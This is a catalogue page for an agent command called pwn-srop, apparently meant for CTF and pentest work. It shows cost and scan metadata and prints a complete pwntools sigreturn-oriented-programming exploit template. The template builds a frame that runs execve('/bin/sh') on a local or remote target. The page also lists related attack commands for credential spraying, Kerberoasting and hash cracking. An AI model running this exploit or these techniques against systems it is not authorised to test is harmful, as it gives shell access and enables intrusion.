Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
git clone --depth 1 https://github.com/allsmog/pwn-claude-pluginWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/commands/allsmog/pwn-claude-plugin/pwn-srop)<a href="https://agentmods.dev/commands/allsmog/pwn-claude-plugin/pwn-srop"><img src="https://agentmods.dev/badge/commands/allsmog/pwn-claude-plugin/pwn-srop/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/commands/allsmog/pwn-claude-plugin/pwn-srop"><img src="https://agentmods.dev/badge/commands/allsmog/pwn-claude-plugin/pwn-srop.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00017 | $0.00949 |
| Opus 5 | $0.00009 | $0.00475 |
| Sonnet 5 | $0.00003 | $0.00190 |
| Haiku 4.5 | $0.00002 | $0.00095 |
Grade A, and why
pwn-srop scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 136 lines — stays where its author put it; the contents beside it link to each section on GitHub.
PWN SROP - Sigreturn-Oriented Programming Template
Generate an SROP exploit using sigreturn to set up arbitrary register state.
When to Use SROP
- Limited ROP gadgets available
- Can trigger sigreturn syscall
- Need precise control over all registers
- execve or other syscall-based exploitation
Generated Template
#!/usr/bin/env python3
"""
SROP Exploit Template
Target: <binary>
Uses sigreturn to set up registers for execve syscall
"""
from pwn import *
# === CONFIGURATION ===
BINARY = './<binary>'
OFFSET = <offset>
# === SETUP ===
elf = ELF(BINARY)
context.binary = elf
context.arch = 'amd64'
def conn():
if args.REMOTE:
return remote(args.HOST, int(args.PORT))
elif args.GDB:
return gdb.debug(BINARY, '''
b main
c
''')
else:
return process(BINARY)
def main():
io = conn()
# === FIND GADGETS ===
# Need: syscall; ret OR int 0x80; ret
syscall_ret = 0x401234 # TODO: Find in binary
# Optional: pop rax; ret (to set rax = 15 for sigreturn)
pop_rax = 0x401235 # TODO: Find in binary
# === FIND /bin/sh STRING ===
# Option 1: Use string in binary
bin_sh = next(elf.search(b'/bin/sh'))
# Option 2: Use string in libc (after leak)
# bin_sh = next(libc.search(b'/bin/sh'))
# Option 3: Write /bin/sh to known location
# bin_sh = elf.bss() + 0x100
# === BUILD SIGRETURN FRAME ===
frame = SigreturnFrame()
frame.rax = 59 # execve syscall number
frame.rdi = bin_sh # filename = "/bin/sh"
frame.rsi = 0 # argv = NULL
frame.rdx = 0 # envp = NULL
frame.rip = syscall_ret # Return to syscall
# For read/write stack (optional)
frame.rsp = elf.bss() + 0x200
# === BUILD PAYLOAD ===
payload = b'A' * OFFSET
# Method 1: If we have pop rax gadget
payload += p64(pop_rax)
payload += p64(15) # sigreturn syscall number
payload += p64(syscall_ret)
payload += bytes(frame)
# Method 2: If rax already contains 15 (from read return value)
# Read exactly 15 bytes, then:
# payload += p64(syscall_ret)
# payload += bytes(frame)
io.sendline(payload)
io.interactive()
if __name__ == '__main__':
main()
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 10d ago First seen · 136 lines · 17 tokens per session scan A ddea9ac6aa0f
pwn-srop is a command published in the GitHub repository allsmog/pwn-claude-plugin (2 stars, last pushed 6mo ago), licensed MIT. It adds 17 tokens to every session and 949 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other commands, from other repositories
bb-ad
Active Directory enumeration and attack techniques. Includes LDAP enumeration, Kerberos attacks (Kerberoasting, AS-REP Roasting), SMB attacks, and domain privilege escalation. Use this when targeting Windows domain environments.
bb-enum
Service-specific enumeration based on discovered ports. Automatically selects appropriate enumeration techniques for each service. Use after /bb-recon to deeply enumerate discovered services.
bb-crack
Crack password hashes with automatic type detection and wordlist discovery. Supports MD5, SHA, NTLM, bcrypt, and more.
bb-setup
Verify penetration testing environment and tool installation. Use this before starting an HTB machine to ensure all required tools are available.
bb-spray
Credential spraying across discovered services.
bb-web
Comprehensive web application testing for HTTP/HTTPS services. Includes directory fuzzing, vulnerability scanning, technology fingerprinting, and common exploit checks. Use this when a web service is discovered.